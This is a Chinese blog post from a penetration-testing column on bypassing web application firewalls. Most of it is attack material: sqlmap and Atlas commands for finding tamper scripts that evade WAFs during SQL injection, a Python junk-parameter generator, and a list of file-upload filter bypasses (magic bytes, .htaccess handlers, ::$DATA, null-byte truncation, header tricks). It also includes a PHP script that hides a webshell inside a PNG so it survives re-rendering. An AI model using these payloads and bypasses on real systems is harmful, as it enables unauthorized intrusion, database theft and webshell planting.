WEB渗透Web突破篇-WAF绕过

Pluto－2003

已于 2024-08-06 13:01:40 修改

阅读量2.4k

点赞数 100

分类专栏：渗透测试文章标签：网络安全渗透测试 WEB安全 WEB渗透

于 2024-08-05 14:19:13 首次发布

本文链接：https://blog.csdn.net/qq_59468567/article/details/140925743

版权

渗透测试专栏收录该内容

87 篇文章 3 订阅

订阅专栏

SQL注入分块传输

https://github.com/c0ny1/chunked-coding-converter

跑注入点被拦截

使用分块传输，右键选择

使用SQLMAP跑注入

>python sqlmap.py -r 1.txt --batch --proxy=http://127.0.0.1:8080 --dbs

自动提供可用的tamper

Atlas GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

GET类型的注入

python atlas.py --url http://site.com/index/id/%%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

POST类型的注入

python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

请求头注入

python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

组合tamper

python atlas.py --url http://site.com/index/id/%%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v

列出tamper

python atlas.py -g

例子注入

python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3

python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v

可以看到被拦截了

查找能绕过的tamper

根据返回码200得到一个可绕过waf的tamper

versionedkeywords这个tamper

继续注入

python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords

根据状态码来判断有时会有点鸡肋，但是也能用用，随机发挥吧。

垃圾数据

放到要注入的字段前后

#coding=utf-8
import random,string
from urllib import parse

# code by yzddMr6
varname_min = 5
varname_max = 15
data_min = 20
data_max = 25
num_min = 50
num_max = 100
def randstr(length):
  str_list = [random.choice(string.ascii_letters) for i in range(length)]
  random_str = ''.join(str_list)
  return random_str
def main():
  data={}
  for i in range(num_min,num_max):
    data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
  print('&'+parse.urlencode(data)+'&')
main()

上传bypass

图片文件头

PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A

GIF 为 47 49 46 38 37 61

JPG 为 FF D8 FF E0

添加图片头或合并图片包含

后缀大小写

文件名前缀加[0x09]

上传.htaccess

SetHandler application/x-httpd-php

*二次渲染

GIF 找好一个大一点的GIF，尾部使用c32插入shell，上传，下载回来，使用burp的comparer功能找出整个文件没有被渲染的位置，插入shell再上传

JPG使用脚本直接生成 https://github.com/BlackFan/jpg_payload

PNG 使用脚本直接生成

取消php.ini注释

extension=php_gd2.dll

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
  $r = $p[$y];
  $g = $p[$y+1];
  $b = $p[$y+2];
  $color = imagecolorallocate($img, $r, $g, $b);
  imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

上传php3,php4,phtml等

文件名后加::DATA

ConTent−Disposition:form−data;name="filepath";filename="1.asp::DATA** ConTent-Disposition: form-data; name="filepath"; filename="1.asp::DATA

ConTent−Disposition:form−data;name="filepath";filename="1.asp::DATA"

ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA\0x00\1.asp0x00.jpg"

asp . (空格+.)

php. .(点+空格+点)

双写phphpp

00截断 Get参数00截断直接添加%00 POST参数00截断修改hex为00

修改一些固定的参数 文件名去掉双引号加一个filename1的参数 form变量改成f+orm 去掉form-data 在Content-Disposition或form-data;后添加多个空格

引号回车 ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp "

Content-Type和ConTent-Disposition调换位置